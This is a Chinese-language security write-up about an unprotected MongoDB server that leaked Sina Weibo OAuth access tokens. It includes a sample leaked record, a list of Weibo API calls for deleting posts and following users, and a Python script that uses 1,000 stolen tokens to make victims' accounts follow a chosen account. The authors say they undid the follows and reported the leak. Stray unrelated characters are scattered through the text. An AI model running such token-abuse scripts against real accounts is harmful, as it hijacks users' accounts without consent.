背景
在前段時間邪紅F1,2,4發(fā)出《Mongodb unauthorized access vulnerability global probing report》后,我們對這些受影響的列表進(jìn)行了簡單的數(shù)據(jù)分析宠哄,其中發(fā)現(xiàn)了一個有趣的主機(jī)功茴。
數(shù)據(jù)泄露
其中這臺Mongodb數(shù)據(jù)主機(jī)存儲著大量的微信公眾號信息峡懈,新浪微博授權(quán)信息等敏感信息响禽,其中我們對新浪微博授權(quán)信息進(jìn)行簡單的測試并村。
測試過程
篩選1000條存儲的用戶新浪微博的授權(quán)數(shù)據(jù)躬它,其中格式為:
{"_modified":ISODate("2014-09-14T06:30:33.718Z"),"_created":ISODate("2014-09-14T06:30:33.718Z"),"uid":"163****265","url":"u/163****265","name":"貓****","screenName":"貓****","accessToken":"2.00LniemB******d10ba02ef5oEMJTB","description":"","verified":false,"logo":"http://tp2.sinaimg.cn/1635102265/50/4000*****04/1","logoLarge":"http://tp2.sinaimg.cn/1635102265/180/4000*****04/1","type":"normal","_id":"14872d****48a87"}
其中數(shù)據(jù)泄露新浪微博用戶授權(quán)成功后的accessToken值初澎,將數(shù)據(jù)以JSON進(jìn)行導(dǎo)出后使用Python進(jìn)行處理,提取出1000條accessToken方便進(jìn)行測試虑凛。
statuses/user_timeline/ids 獲取用戶發(fā)布的微博的ID
statuses/destroy 根據(jù)微博ID刪除指定微博
friendships/create 關(guān)注一個用戶
之后我們使用關(guān)注用戶API進(jìn)行簡單的測試,編寫腳本批量的利用泄露的accessToken值進(jìn)行關(guān)注用戶:
#!/usr/bin/env python# coding=utf8# author=evi1m0#ff0000teamimportrequestsf=open('./accessToken.txt','r')flag=1foriinf:api_url='https://api.weibo.com/2/friendships/create.json'post={"uid":"5238604657","access_token":i.split()}requests.post(api_url,data=post)flag+=1print'[*] '+str(flag)+': '+api_urlprintpostprint
其中uid為關(guān)注用戶的UID软啼,遍歷./accessToken.txt中的accessToken進(jìn)行請求桑谍,于是不一會兒的功夫我們測試微博收到了新增800多個粉絲的消息,后面我們又利用取消關(guān)注API進(jìn)行了取消操作祸挪。
狀態(tài)
我們沒有對這些數(shù)據(jù)進(jìn)行惡意利用锣披,目前已提交給官方進(jìn)行及時修復(fù):)